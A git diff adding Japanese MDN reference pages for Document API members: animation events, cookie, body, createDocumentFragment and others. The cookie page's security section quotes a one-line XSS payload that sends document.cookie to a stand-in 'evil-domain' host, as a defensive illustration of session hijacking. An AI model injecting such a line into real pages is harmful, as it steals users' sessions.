+ + + + + + + + + + + + + + + + + + + + +
バブリングあり
キャンセル不可
インターフェイス{{domxref("AnimationEvent")}}
イベントハンドラープロパティ{{domxref("GlobalEventHandlers/onanimationend","onanimationend")}}
+ +

このイベントの本来の対象は、トランジションが適用された {{domxref("Element")}} です。このイベントを {{domxref("Document")}} インターフェイス上で待ち受けし、キャプチャやバブリングの局面で処理することができます。このイベントについて完全な詳細は、 HTMLElement: animationend イベントを参照してください。

+ +

例

+ +

この例は animationend イベントを待ち受けます。

+ +
document.addEventListener('animationend', () => {
+  console.log('アニメーション終了');
+});
+ +

同様に、 onanimationend イベントハンドラープロパティを使用するとこうなります。

+ +
document.onanimationend = () => {
+  console.log('アニメーション終了');
+};
+ +

このイベントのライブデモを参照してください。

+ +

仕様書

+ + + + + + + + + + + + + + + + +
仕様書状態備考
{{SpecName("CSS3 Animations", "#eventdef-animationevent-animationend")}}{{Spec2("CSS3 Animations")}}初回定義
+ +

ブラウザーの互換性

+ + + +

{{Compat("api.Document.animationend_event")}}

+ +

関連情報

+ + diff --git a/files/ja/web/api/document/animationiteration_event/index.html b/files/ja/web/api/document/animationiteration_event/index.html new file mode 100644 index 0000000000..95addaa166 --- /dev/null +++ b/files/ja/web/api/document/animationiteration_event/index.html @@ -0,0 +1,98 @@ +--- +title: 'Document: animationiteration イベント' +slug: Web/API/Document/animationiteration_event +tags: + - Animation + - AnimationEvent + - CSS Animations + - CSS アニメーション + - Event + - Reference + - animationiteration + - イベント +translation_of: Web/API/Document/animationiteration_event +--- +
{{APIRef}}
+ +

animationiteration イベントは、 CSS アニメーションの反復が1回分終了し、次の回が始まったときに発生します。このイベントは {{domxref("Document/animationend_event", "animationend")}} イベントと同時には発生せず、従って animation-iteration-count が1のアニメーションでは発生しません。

+ + + + + + + + + + + + + + + + + + + + +
バブリングあり
キャンセル不可
インターフェイス{{domxref("AnimationEvent")}}
イベントハンドラープロパティ{{domxref("GlobalEventHandlers/onanimationiteration","onanimationiteration")}}
+ +

このイベントの本来の対象は、トランジションが適用された {{domxref("Element")}} です。このイベントを {{domxref("Document")}} インターフェイス上で待ち受けし、キャプチャやバブリングの局面で処理することができます。このイベントについて完全な詳細は、 HTMLElement: animationiteration イベントを参照してください。

+ +

例

+ +

このコードは animationiteration を使用して、アニメーションの反復が終了した回数を追跡します。

+ +
let iterationCount = 0;
+
+document.addEventListener('animationiteration', () => {
+  iterationCount++;
+  console.log(`アニメーション反復回数: ${iterationCount}`);
+});
+ +

同様に、 onanimationiteration イベントハンドラープロパティを使用するとこうなります。

+ +
let iterationCount = 0;
+
+document.onanimationiteration = () => {
+  iterationCount++;
+  console.log(`アニメーション反復回数: ${iterationCount}`);
+};
+ +

このイベントのライブデモを参照してください。

+ +

仕様書

+ + + + + + + + + + + + + + + + +
仕様書状態備考
{{SpecName("CSS3 Animations", "#eventdef-animationevent-animationiteration")}}{{Spec2("CSS3 Animations")}}初回定義
+ +

ブラウザーの互換性

+ + + +

{{Compat("api.Document.animationiteration_event")}}

+ +

関連情報

+ + diff --git a/files/ja/web/api/document/animationstart_event/index.html b/files/ja/web/api/document/animationstart_event/index.html new file mode 100644 index 0000000000..0c9136b56e --- /dev/null +++ b/files/ja/web/api/document/animationstart_event/index.html @@ -0,0 +1,95 @@ +--- +title: 'Document: animationstart イベント' +slug: Web/API/Document/animationstart_event +tags: + - CSS Animations + - CSS アニメーション + - Document + - Event + - Reference + - Web + - animationstart + - イベント + - ウェブ +translation_of: Web/API/Document/animationstart_event +--- +
{{APIRef}}
+ +

animationstart イベントは、 CSS アニメーションが開始したときに発生します。 {{cssxref("animation-delay")}} がある場合、このイベントは待ち時間が経過したときに一度発生します。待ち時間が負の数の場合、イベントは {{domxref("AnimationEvent/elapsedTime", "elapsedTime")}} が待ち時間の絶対値と等しくなったときに発生します (および、関連して、アニメーションはシーケンスの中でそのタイムインデックスに再生が始まります)。

+ + + + + + + + + + + + + + + + + + + + +
バブリングあり
キャンセル不可
インターフェイス{{domxref("AnimationEvent")}}
イベントハンドラープロパティ{{domxref("GlobalEventHandlers/onanimationstart","onanimationstart")}}
+ +

このイベントの本来の対象は、トランジションが適用された {{domxref("Element")}} です。このイベントを {{domxref("Document")}} インターフェイス上で待ち受けし、キャプチャやバブリングの局面で処理することができます。このイベントについて完全な詳細は、 HTMLElement: animationstart イベントを参照してください。

+ +

例

+ +

このコードは animationstart イベントを待ち受けし、イベント発生時にメッセージを記録します。

+ +
document.addEventListener('animationstart', () => {
+  console.log('Animation started');
+});
+
+ +

同様に、 onanimationstart を使用するとこうなります。

+ +
document.onanimationstart = () => {
+  console.log('Animation started');
+};
+
+ +

このイベントのライブデモを参照してください。

+ +

仕様書

+ + + + + + + + + + + + + + + + +
仕様書状態備考
{{SpecName("CSS3 Animations", "#eventdef-animationevent-animationstart")}}{{Spec2("CSS3 Animations")}}初回定義
+ +

ブラウザーの互換性

+ + + +

{{Compat("api.Document.animationstart_event")}}

+ +

関連情報

+ + diff --git a/files/ja/web/api/document/applets/index.html b/files/ja/web/api/document/applets/index.html new file mode 100644 index 0000000000..744a5c723f --- /dev/null +++ b/files/ja/web/api/document/applets/index.html @@ -0,0 +1,66 @@ +--- +title: Document.applets +slug: Web/API/Document/applets +tags: + - API + - Deprecated + - Document + - HTML DOM + - Property + - Reference + - applets + - プロパティ +translation_of: Web/API/Document/applets +--- +
{{APIRef("DOM")}}{{deprecated_header}}
+ +

{{domxref("Document")}} インターフェイスの applets プロパティは、文書内のアプレットのリストを返します。

+ +
+

メモ: {{htmlelement("applet")}} 要素は Gecko 56 および 2015年後期の Chrome から削除されました。それ以来、これらのブラウザーで document.applets を呼び出しても空の {{domxref("HTMLCollection")}} しか返しません。 WebKit および Edge でも削除が検討されています。

+
+ +

構文

+ +
var nodeList = document.applets;
+
+ +

値

+ +

{{domxref("HTMLCollection")}}

+ +

例

+ +
// 2番目のアプレットが取得したいアプレットであると分かっている場合
+my_java_app = document.applets[1];
+
+ +

仕様書

+ + + + + + + + + + + + + + + + + + + + + +
仕様書状態備考
{{SpecName('HTML WHATWG', '#dom-document-applets', 'Document.applets')}}{{ Spec2('HTML WHATWG') }}廃止
{{SpecName('DOM2 HTML', 'html.html#ID-85113862', 'Document.applets')}}{{ Spec2('DOM2 Events') }}初回定義
+ +

ブラウザーの対応

+ + + +

{{Compat("api.Document.applets")}}

diff --git a/files/ja/web/api/document/async/index.html b/files/ja/web/api/document/async/index.html new file mode 100644 index 0000000000..00d0b0724c --- /dev/null +++ b/files/ja/web/api/document/async/index.html @@ -0,0 +1,45 @@ +--- +title: XMLDocument.async +slug: Web/API/Document/async +tags: + - API + - DOM + - DOM Reference + - Deprecated + - Document + - Non-standard + - Property + - Reference + - async +translation_of: Web/API/XMLDocument/async +--- +

{{APIRef("DOM")}}{{Non-standard_header}}{{Deprecated_header}}

+ +

document.async は、 {{DOMxRef("XMLDocument.load()")}} の呼び出しを同期で行うか、または非同期で行うかの指示を真偽値で設定します。 true が初期値であり、これは文書を非同期的に読み込むよう要求するものです。

+ +

(1.4 アルファから、同期的に文書を読み込めるようになりました。)

+ +

例

+ +
function loadXMLData(e) {
+  alert(new XMLSerializer().serializeToString(e.target)); // querydata.xml の内容を文字列として取得
+}
+
+var xmlDoc = document.implementation.createDocument("", "test", null);
+
+xmlDoc.async = false;
+xmlDoc.onload = loadXMLData;
+xmlDoc.load('querydata.xml');
+ +

ブラウザーの互換性

+ + + +

{{Compat("api.XMLDocument.async")}}

+ +

関連情報

+ + diff --git a/files/ja/web/api/document/bgcolor/index.html b/files/ja/web/api/document/bgcolor/index.html new file mode 100644 index 0000000000..e1c9603ef9 --- /dev/null +++ b/files/ja/web/api/document/bgcolor/index.html @@ -0,0 +1,46 @@ +--- +title: document.bgColor +slug: Web/API/Document/bgColor +tags: + - API + - DOM + - Deprecated + - Document + - Gecko + - HTML DOM + - Property + - Reference +translation_of: Web/API/Document/bgColor +--- +

{{APIRef("DOM")}} {{ Deprecated_header() }}

+ +

廃止された bgColor プロパティは、現在の文書の背景色を取得または設定します。

+ +

構文

+ +
color = document.bgColor
+document.bgColor =color
+
+ +

引数

+ + + +

例

+ +
document.bgColor = "darkblue";
+
+ +

メモ

+ +

Firefox ではこのプロパティの初期値は白 (16進表記で #FFFFFF) となっています。

+ +

document.bgColor は DOM Level 2 HTML で非推奨になっています。推奨される代替方法は、 CSS の {{Cssxref("background-color")}} を使用することで、 document.body.style.backgroundColor で DOM を通してアクセスできます。もう一つの代替手段である document.body.bgColor は、 HTML 4.01 で CSS に代替されたため非推奨となっています。

+ +

ブラウザーの互換性

+ + + +

{{Compat("api.Document.bgColor")}}

diff --git a/files/ja/web/api/document/body/index.html b/files/ja/web/api/document/body/index.html new file mode 100644 index 0000000000..055e65e7a1 --- /dev/null +++ b/files/ja/web/api/document/body/index.html @@ -0,0 +1,90 @@ +--- +title: Document.body +slug: Web/API/Document/body +tags: + - API + - BODY + - Document + - HTML DOM + - Property + - Reference + - プロパティ +translation_of: Web/API/Document/body +--- +
{{APIRef("DOM")}}
+ +

Document.body プロパティは、その文書の {{HTMLElement("body")}} または {{HTMLElement("frameset")}} ノードを表し、そのような要素がなければ null になります。

+ +

構文

+ +
var objRef = document.body;
+document.body = objRef;
+ +

例

+ +
// Given this HTML: <body id="oldBodyElement"></body>
+alert(document.body.id); // "oldBodyElement"
+
+var aNewBodyElement = document.createElement("body");
+
+aNewBodyElement.id = "newBodyElement";
+document.body = aNewBodyElement;
+alert(document.body.id); // "newBodyElement"
+
+ +

メモ

+ +

document.body は文書の内容を持つ要素です。 <body> の内容を持つ文書では <body> 要素を返し、フレームセット文書では、これは最も外側の <frameset> 要素を返します。

+ +

body は設定が可能ですが、文書に新しい body を設定すると、既存の <body> 要素の子ノードは全て削除されます。

+ +

仕様書

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
仕様書状態備考
{{SpecName('HTML WHATWG','dom.html#dom-document-body','Document.body')}}{{Spec2('HTML WHATWG')}} 
{{SpecName('HTML5.1','dom.html#dom-document-body','Document.body')}}{{Spec2('HTML5.1')}} 
{{SpecName('HTML5 W3C','dom.html#dom-document-body','Document.body')}}{{Spec2('HTML5 W3C')}} 
{{SpecName('DOM2 HTML','html.html#ID-56360201','Document.body')}}{{Spec2('DOM2 HTML')}} 
{{SpecName('DOM1','level-one-html.html#attribute-body','Document.body')}}{{Spec2('DOM1')}}初回定義
+ +

ブラウザーの対応

+ + + +
{{Compat("api.Document.body")}}
+ +

関連情報

+ + diff --git a/files/ja/web/api/document/caretrangefrompoint/index.html b/files/ja/web/api/document/caretrangefrompoint/index.html new file mode 100644 index 0000000000..71b96fa68a --- /dev/null +++ b/files/ja/web/api/document/caretrangefrompoint/index.html @@ -0,0 +1,90 @@ +--- +title: Document.caretRangeFromPoint() +slug: Web/API/Document/caretRangeFromPoint +tags: + - API + - CSSOM View + - DOM + - Document + - Non-standard + - Reference + - caretRangeFromPoint + - メソッド +translation_of: Web/API/Document/caretRangeFromPoint +--- +
{{APIRef("DOM")}}{{Non-standard_header}}
+ +

{{domxref("Document")}} インターフェイスの caretRangeFromPoint() メソッドは、指定された座標にある文書フラグメントの {{domxref("Range")}} オブジェクトを返します。

+ +

構文

+ +
var range = document.caretRangeFromPoint(float x, float y);
+
+ +

引数

+ +
+
x
+
現在のビューポート内での水平位置。
+
y
+
現在のビューポート内での垂直位置。
+
+ +

返値

+ +

以下のうちの一つです。

+ + + +

例

+ +

基本的なデモ: 段落内をクリックすると、キャレットの位置に改行を挿入します。

+ +

HTML

+ +
<p>Lorem ipsum dolor sit amet, consetetur sadipscing elitr,
+sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat,
+sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum.
+Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.</p>
+ +

JavaScript

+ +
function insertBreakAtPoint(e) {
+  let range;
+  let textNode;
+  let offset;
+
+  if (document.caretPositionFromPoint) {
+    range = document.caretPositionFromPoint(e.clientX, e.clientY);
+    textNode = range.offsetNode;
+    offset = range.offset;
+  } else if (document.caretRangeFromPoint) {
+    range = document.caretRangeFromPoint(e.clientX, e.clientY);
+    textNode = range.startContainer;
+    offset = range.startOffset;
+  }
+  // Only split TEXT_NODEs
+  if (textNode && textNode.nodeType == 3) {
+    let replacement = textNode.splitText(offset);
+    let br = document.createElement('br');
+    textNode.parentNode.insertBefore(br, replacement);
+  }
+}
+
+let paragraphs = document.getElementsByTagName("p");
+for (let i = 0; i < paragraphs.length; i++) {
+  paragraphs[i].addEventListener('click', insertBreakAtPoint, false);
+}
+ +

結果

+ +

{{ EmbedLiveSample('Example', '', '', '', 'Web/API/Document/caretRangeFromPoint') }}

+ +

ブラウザーの対応

+ + + +

{{Compat("api.Document.caretRangeFromPoint")}}

diff --git a/files/ja/web/api/document/characterset/index.html b/files/ja/web/api/document/characterset/index.html new file mode 100644 index 0000000000..16de3e28dd --- /dev/null +++ b/files/ja/web/api/document/characterset/index.html @@ -0,0 +1,61 @@ +--- +title: document.characterSet +slug: Web/API/Document/characterSet +tags: + - API + - DOM + - Document + - Property + - Read-only + - Reference +translation_of: Web/API/Document/characterSet +--- +

{{ApiRef("DOM")}}

+ +

概要

+ +

読み取り専用の Document.characterSet プロパティは、文書の文字エンコーディングを表す文字列を返します。(文字エンコーディングは文字セットであり、入力されたバイト列をどのように文字として解釈するか規定します。)

+ +
+

「文字セット」と「文字エンコーディング」は似ていますが違うものです。プロパティ名に反してエンコーディングを返します。

+
+ +

Content-Type ヘッダーや <meta charset="utf-8">によって開発者が指定した文字エンコーディングはユーザーが上書きできます。例えばFirefoxでは 表示 → テキストエンコーディング メニューから可能です。このような上書き手段は開発者が誤って指定したエンコーディングによって文字化けを引き起こされたときに治すために提供されています。

+ +
+

プロパティ document.charset 及び document.inputEncoding は、document.characterSet への旧来のエイリアスです。これらは使用しないでください。

+
+ +

構文

+ +
var string = document.characterSet
+ +

例

+ +
<button onclick="console.log(document.characterSet);">
+  Log character encoding
+</button>
+// "ISO-8859-1" や "UTF-8" など、文書の文字セットが開発者コンソールに表示されます
+ +

仕様

+ + + + + + + + + + + + + + +
仕様書策定状況コメント
{{SpecName('DOM WHATWG', '#dom-document-characterset', 'characterSet')}}{{Spec2('DOM WHATWG')}}最初期の定義
+ +

ブラウザ実装状況

+ + + +

{{Compat("api.Document.characterSet")}}

diff --git a/files/ja/web/api/document/clear/index.html b/files/ja/web/api/document/clear/index.html new file mode 100644 index 0000000000..e1215f9569 --- /dev/null +++ b/files/ja/web/api/document/clear/index.html @@ -0,0 +1,33 @@ +--- +title: Document.clear() +slug: Web/API/Document/clear +tags: + - DOM + - DOM_0 + - Document + - Gecko + - HTML5 +translation_of: Web/API/Document/clear +--- +
{{APIRef("DOM")}}{{ Deprecated_header() }}
+ +

Document.clear() メソッドは指定された文書全体を消去するもので、初期 (1.0 以前) の Mozilla アプリケーションにありました。

+ +

近年のバージョンの Mozilla ベースアプリケーションでも、 Internet Explorer や Netscape 4 でも、このメソッドは何も行いません。

+ +

構文

+ +
document.clear();
+
+ +

仕様書

+ + + +

ブラウザーの対応

+ + + +
{{Compat("api.Document.clear")}}
diff --git a/files/ja/web/api/document/close/index.html b/files/ja/web/api/document/close/index.html new file mode 100644 index 0000000000..c626a6fb8e --- /dev/null +++ b/files/ja/web/api/document/close/index.html @@ -0,0 +1,62 @@ +--- +title: Document.close() +slug: Web/API/Document/close +tags: + - API + - Document + - HTML DOM + - Method + - Reference + - メソッド +translation_of: Web/API/Document/close +--- +
{{APIRef("DOM")}}
+ +

Document.close() メソッドは、 {{domxref("Document.open()")}} で開かれた文書への書き込みを終了します。

+ +

構文

+ +
document.close();
+
+ +

例

+ +
// 書きこむ文書を開きます。
+document.open();
+
+// 文書の内容を書き込みます。
+document.write("<p>たったひとつの内容。</p>");
+
+// 文書を閉じます。
+document.close();
+
+ +

仕様書

+ + + + + + + + + + + + + + + + + + + + + +
仕様書状態備考
{{SpecName("HTML WHATWG", "#dom-document-close", "document.close()")}}{{Spec2("HTML WHATWG")}} 
{{SpecName("DOM2 HTML", "html.html#ID-98948567", "document.close()")}}{{Spec2("DOM2 HTML")}} 
+ +

ブラウザーの対応

+ + + +
{{Compat("api.Document.close")}}
diff --git a/files/ja/web/api/document/compatmode/index.html b/files/ja/web/api/document/compatmode/index.html new file mode 100644 index 0000000000..a5b29c7712 --- /dev/null +++ b/files/ja/web/api/document/compatmode/index.html @@ -0,0 +1,64 @@ +--- +title: Document.compatMode +slug: Web/API/Document/compatMode +tags: + - API + - DOM + - Document + - Property + - Reference +translation_of: Web/API/Document/compatMode +--- +
{{ ApiRef("DOM") }}
+ +

Document.compatMode プロパティは、文書が Quirks モード (互換モード) か標準準拠モードのどちらで表示されているかを示します。

+ +

構文

+ +
const mode = document.compatMode
+
+ +

値

+ +

列挙値で、次の値を取ります。

+ + + +
+

注: これらのモードはすべて標準で定義されましたので、より古い "standards" および "almost standards" の名前は無意味であり、もう標準では使用されません。

+
+ +

例

+ +
if (document.compatMode == "BackCompat") {
+  // 互換モード
+}
+
+ +

仕様書

+ + + + + + + + + + + + + + + + +
仕様書状態備考
{{SpecName('DOM WHATWG', '#dom-document-compatmode','compatMode')}}{{Spec2('DOM WHATWG')}}
+ +

ブラウザーの互換性

+ + + +

{{Compat("api.Document.compatMode")}}

diff --git a/files/ja/web/api/document/contenttype/index.html b/files/ja/web/api/document/contenttype/index.html new file mode 100644 index 0000000000..6d71f41779 --- /dev/null +++ b/files/ja/web/api/document/contenttype/index.html @@ -0,0 +1,56 @@ +--- +title: Document.contentType +slug: Web/API/Document/contentType +tags: + - API + - DOM + - Document + - MIME + - Read-only + - Reference + - contentType + - プロパティ + - 読み取り専用 +translation_of: Web/API/Document/contentType +--- +
{{APIRef}}
+ +

Document.contentType プロパティは読み取り専用で、文書がレンダリングされる MIME タイプを返します。これは HTTP ヘッダーやその他の MIME 情報のソースから来る可能性があり、ブラウザーや拡張機能によって行われる自動型変換の影響を受ける可能性があります。

+ +
+

メモ: このプロパティは {{HTMLElement("meta")}} 要素には影響されません。

+
+ +

構文

+ +
contentType = document.contentType;
+
+ +

値

+ +

contentType は読み取り専用のプロパティです。

+ +

仕様書

+ + + + + + + + + + + + + + + + +
仕様書状態備考
{{SpecName('DOM WHATWG', '#dom-document-contenttype', 'Document.contentType')}}{{Spec2('DOM WHATWG')}}初回定義
+ +

ブラウザーの対応

+ + + +
{{Compat("api.Document.contentType")}}
diff --git a/files/ja/web/api/document/cookie/index.html b/files/ja/web/api/document/cookie/index.html new file mode 100644 index 0000000000..d643ccc2f1 --- /dev/null +++ b/files/ja/web/api/document/cookie/index.html @@ -0,0 +1,251 @@ +--- +title: Document.cookie +slug: Web/API/Document/cookie +tags: + - API + - Document + - HTML DOM + - JS + - Reference + - cookie + - クッキー + - ストレージ +translation_of: Web/API/Document/cookie +--- +
{{APIRef("DOM")}}
+ +

{{domxref("Document")}} の cookie プロパティで、文書に関連付けられたクッキーを読み書きすることができます。これは実際のクッキーの値に対するゲッターとセッターとして動作します。

+ +

構文

+ +

この場所からアクセスできるすべてのクッキーを読む

+ +
allCookies = document.cookie;
+ +

上記のコードで allCookies は、セミコロンで区切られたクッキーのリストです (つまり key=value のペア)。なお、それぞれの key および value の周囲にはホワイトスペース (空白やタブ文字) をおくことができます。実際のところ、 {{RFC(6265)}} ではそれぞれのセミコロンの後に空白1文字を入れることを必須としていますが、一部のユーザーエージェントはこれに従っていません。

+ + + + + +

上記のコードで、 newCookie は key=value の形式の文字列です。なお、この方法を使用して一度に設定・更新できるクッキーは、一つだけです。

+ + + +
メモ: 上記のコードに見られるように、 document.cookie はネイティブのセッター及びゲッターを持つアクセサープロパティであり、値を持つ データプロパティではありません。書き込んだものと読みこんだものは同じにはならず、常に JavaScript インタープリターに仲介されます。
+ +

例

+ +

例 1: 単純な使用方法

+ +
document.cookie = "name=oeschger";
+document.cookie = "favorite_food=tripe";
+function alertCookie() {
+  alert(document.cookie);
+}
+
+ +
<button onclick="alertCookie()">Show cookies</button>
+
+ +

{{EmbedLiveSample('Example_1_Simple_usage', 200, 36)}}

+ + + +
document.cookie = "test1=Hello";
+document.cookie = "test2=World";
+
+const cookieValue = document.cookie
+  .split('; ')
+  .find(row => row.startsWith('test2'))
+  .split('=')[1];
+
+function alertCookieValue() {
+  alert(cookieValue);
+}
+
+ +
<button onclick="alertCookieValue()">Show cookie value</button>
+ +

{{EmbedLiveSample('Example_2_Get_a_sample_cookie_named_test2', 200, 36)}}

+ +

例 3: 一度だけ何かを行う

+ +

以下のコードを使用するためには、すべての doSomethingOnlyOnce の語 (クッキーの名前) が現れるところを専用の名前に置き換えてください。

+ +
function doOnce() {
+  if (document.cookie.replace(/(?:(?:^|.*;\s*)doSomethingOnlyOnce\s*\=\s*([^;]*).*$)|^.*$/, "$1") !== "true") {
+    alert("Do something here!");
+    document.cookie = "doSomethingOnlyOnce=true; expires=Fri, 31 Dec 9999 23:59:59 GMT";
+  }
+}
+ +
<button onclick="doOnce()">Only do something once</button>
+ +

{{EmbedLiveSample('Example_3_Do_something_only_once', 200, 36)}}

+ + + +
function resetOnce() {
+  document.cookie = "doSomethingOnlyOnce=; expires=Thu, 01 Jan 1970 00:00:00 GMT";
+}
+ +
<button onclick="resetOnce()">Reset only once cookie</button>
+ +

{{EmbedLiveSample('Example_4_Reset_the_previous_cookie', 200, 36)}}

+ + + +
//ES5
+
+if (document.cookie.split(';').some(function(item) {
+    return item.trim().indexOf('reader=') == 0
+})) {
+    console.log('The cookie "reader" exists (ES5)')
+}
+
+//ES2016
+
+if (document.cookie.split(';').some((item) => item.trim().startsWith('reader='))) {
+    console.log('The cookie "reader" exists (ES6)')
+}
+
+ + + +
//ES5
+
+if (document.cookie.split(';').some(function(item) {
+    return item.indexOf('reader=1') >= 0
+})) {
+    console.log('The cookie "reader" has "1" for value')
+}
+
+//ES2016
+
+if (document.cookie.split(';').some((item) => item.includes('reader=1'))) {
+    console.log('The cookie "reader" has "1" for value')
+}
+
+ +

セキュリティ

+ +

path 属性は、異なるパスによる認証されていないクッキーの読み込みから守ってくれないということに注意することが重要です。これはシンプルな DOM で簡単にバイパスできます (たとえば、クッキーのパスとともに隠し {{HTMLElement("iframe")}} 要素を生成して、この iframe の contentDocument.cookie プロパティにアクセスします)。クッキーのアクセスを守る唯一の方法は、異なるドメインやサブドメインを使うことで、同一オリジンポリシーを適用することです。

+ +

クッキーは普段、ウェブアプリケーションでユーザーと認証されたセッションを識別するために使われます。そこで、ウェブアプリケーションからのクッキーを盗まれると、認証されたユーザーのセッションハイジャックにつながります。クッキーを盗むための一般的な方法は、ソーシャルエンジニアリングを使用するか、アプリケーション内の XSS 脆弱性の悪用です。

+ +
(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
+
+ +

HTTPOnly クッキー属性は、 JavaScript からのクッキー値へのアクセスを防止することで、この攻撃を軽減することに役立ちます。より詳細情報は Cookies and Security を見てください。

+ +

メモ

+ + + +

document.cookie アクセサープロパティの構文は、クッキーのクライアント・サーバー型の性質によるもので、他のクライアント・クライアントストレージメソッド (例えば localStorage など) とは異なります。

+ + + +
HTTP/1.0 200 OK
+Content-type: text/html
+Set-Cookie: cookie_name1=cookie_value1
+Set-Cookie: cookie_name2=cookie_value2; expires=Sun, 16 Jul 3567 06:23:41 GMT
+
+[content of the page here]
+ +

クライアントが以前格納されたクッキーをサーバーに送り返す

+ +
GET /sample_page.html HTTP/1.1
+Host: www.example.org
+Cookie: cookie_name1=cookie_value1; cookie_name2=cookie_value2
+Accept: */*
+
+ +

仕様書

+ + + + + + + + + + + + + + + + + + + + + +
仕様書状態備考
{{SpecName("DOM2 HTML", "html.html#ID-8747038", "Document.cookie")}}{{Spec2("DOM2 HTML")}}初回定義
{{SpecName("Cookie Prefixes")}}{{Spec2("Cookie Prefixes")}}
+ +

ブラウザーの互換性

+ + + +

{{Compat("api.Document.cookie")}}

+ +

関連情報

+ + diff --git a/files/ja/web/api/document/copy_event/index.html b/files/ja/web/api/document/copy_event/index.html new file mode 100644 index 0000000000..d52780b33f --- /dev/null +++ b/files/ja/web/api/document/copy_event/index.html @@ -0,0 +1,76 @@ +--- +title: 'Document: copy イベント' +slug: Web/API/Document/copy_event +tags: + - API + - Clipboard API + - Document + - Event + - Reference + - Web + - copy +translation_of: Web/API/Document/copy_event +--- +
{{APIRef}}
+ +

copy イベントは、ユーザーがブラウザーのユーザーインターフェイスからコピー操作を実行したときに発生します。

+ + + + + + + + + + + + + + + + + + + + +
バブリングあり
キャンセル可
インターフェイス{{domxref("ClipboardEvent")}}
イベントハンドラープロパティ{{domxref("HTMLElement/oncopy", "oncopy")}}
+ +

このイベントの本来の対象は、コピー操作の意図の対象である {{domxref("Element")}} です。このイベントを {{domxref("Document")}} インターフェイス上で待ち受けし、キャプチャやバブリングの局面で処理することができます。このイベントの局面について完全な詳細は、 Element: copy イベントを参照してください。

+ +

例

+ +
document.addEventListener('copy', (event) => {
+    console.log('copy action initiated')
+});
+ +

仕様書

+ + + + + + + + + + + + + + +
仕様書状態
{{SpecName('Clipboard API', '#clipboard-event-copy')}}{{Spec2('Clipboard API')}}
+ +

ブラウザーの互換性

+ + + +

{{Compat("api.Document.copy_event")}}

+ +

関連情報

+ + diff --git a/files/ja/web/api/document/createcdatasection/index.html b/files/ja/web/api/document/createcdatasection/index.html new file mode 100644 index 0000000000..d1a374dfa4 --- /dev/null +++ b/files/ja/web/api/document/createcdatasection/index.html @@ -0,0 +1,67 @@ +--- +title: Document.createCDATASection() +slug: Web/API/Document/createCDATASection +tags: + - API + - DOM + - Method + - Reference +translation_of: Web/API/Document/createCDATASection +--- +
{{APIRef("DOM")}}
+ +

createCDATASection() は、新規 CDATA セクションを生成し返します。

+ +

構文

+ +
var CDATASectionNode = document.createCDATASection(data);
+
+ + + +

例

+ +
var docu = new DOMParser().parseFromString('<xml></xml>', 'application/xml')
+
+var cdata = docu.createCDATASection('Some <CDATA> data & then some');
+
+docu.getElementsByTagName('xml')[0].appendChild(cdata);
+
+alert(new XMLSerializer().serializeToString(docu));
+// 表示結果: <xml><![CDATA[Some <CDATA> data & then some]]></xml>
+
+ +

注

+ + + +

仕様書

+ + + + + + + + + + + + + + + + +
仕様書状態備考
{{SpecName('DOM WHATWG', '#dom-document-createcdatasection', 'document.createCDATASection')}}{{Spec2('DOM WHATWG')}}
+ +

ブラウザーの互換性

+ + + +

{{Compat("api.Document.createCDATASection")}}

diff --git a/files/ja/web/api/document/createcomment/index.html b/files/ja/web/api/document/createcomment/index.html new file mode 100644 index 0000000000..ec25987fcf --- /dev/null +++ b/files/ja/web/api/document/createcomment/index.html @@ -0,0 +1,60 @@ +--- +title: Document.createComment() +slug: Web/API/Document/createComment +tags: + - API + - DOM + - Method + - Reference +translation_of: Web/API/Document/createComment +--- +
{{APIRef("DOM")}}
+ +

createComment() は新たにコメントノードを作成し、返します。

+ +

構文

+ +
CommentNode = document.createComment(data);
+
+ +

引数

+ +
+
data
+
文字列で、コメントに追加されるデータを含みます。
+
+ +

例

+ +
var docu = new DOMParser().parseFromString('<xml></xml>',  'application/xml');
+var comment = docu.createComment('This is a not-so-secret comment in your document');
+
+docu.getElementsByTagName('xml')[0].appendChild(comment);
+
+alert(new XMLSerializer().serializeToString(docu));
+// 表示結果: <xml><!--This is a not-so-secret comment in your document--></xml>
+ +

仕様書

+ + + + + + + + + + + + + + + + +
仕様書状態備考
{{SpecName('DOM WHATWG', '#dom-document-createcomment', 'document.createComment')}}{{Spec2('DOM WHATWG')}}
+ +

ブラウザーの互換性

+ + + +

{{Compat("api.Document.createComment")}}

diff --git a/files/ja/web/api/document/createdocumentfragment/index.html b/files/ja/web/api/document/createdocumentfragment/index.html new file mode 100644 index 0000000000..3812ec0571 --- /dev/null +++ b/files/ja/web/api/document/createdocumentfragment/index.html @@ -0,0 +1,97 @@ +--- +title: Document.createDocumentFragment() +slug: Web/API/Document/createDocumentFragment +tags: + - API + - DOM + - Document + - Method + - Reference + - createDocumentFragment +translation_of: Web/API/Document/createDocumentFragment +--- +

{{APIRef("DOM WHATWG")}}

+ +

新しい空の {{domxref("DocumentFragment")}} を作成し、そこに DOM ノードを追加して画面外の DOM ツリーを作成します。

+ +

構文

+ +
var fragment = document.createDocumentFragment();
+
+ +

値

+ +

新しく作成された空の {{domxref("DocumentFragment")}} オブジェクトで、中にノードが挿入できるものです。

+ +

使用上の注意

+ +

DocumentFragment は DOM の {{domxref("Node")}} オブジェクトですが、メインの DOM ツリーの一部にはなりません。通常の使い方は、文書フラグメントを生成し、その文書フラグメントに要素を追加して、その文書フラグメントを DOM ツリーへ追加することです。 DOM ツリー内では、文書フラグメントはすべての子要素によって置き換えられます。

+ +

文書フラグメントはメモリ内にあり、メインの DOM ツリーの一部ではないため、文書フラグメントに子要素を追加してもページのリフロー (要素の位置と大きさを決定するための計算) が行われません。そのため文書フラグメントを利用することによって、性能の改善が見込まれます。

+ +

DocumentFragment コンストラクターを使用して新しいフラグメントを生成することもできます。

+ +
let fragment = new DocumentFragment();
+ +

例

+ +

この例では、主要なウェブブラウザのリストを DocumentFragment 内に作成し、表示するドキュメントに新しい DOM サブツリーを追加しています。

+ +

HTML

+ +
<ul id="ul">
+</ul>
+ +

JavaScript

+ +
var element  = document.getElementById('ul'); // ul が存在することを仮定
+var fragment = document.createDocumentFragment();
+var browsers = ['Firefox', 'Chrome', 'Opera',
+    'Safari', 'Internet Explorer'];
+
+browsers.forEach(function(browser) {
+    var li = document.createElement('li');
+    li.textContent = browser;
+    fragment.appendChild(li);
+});
+
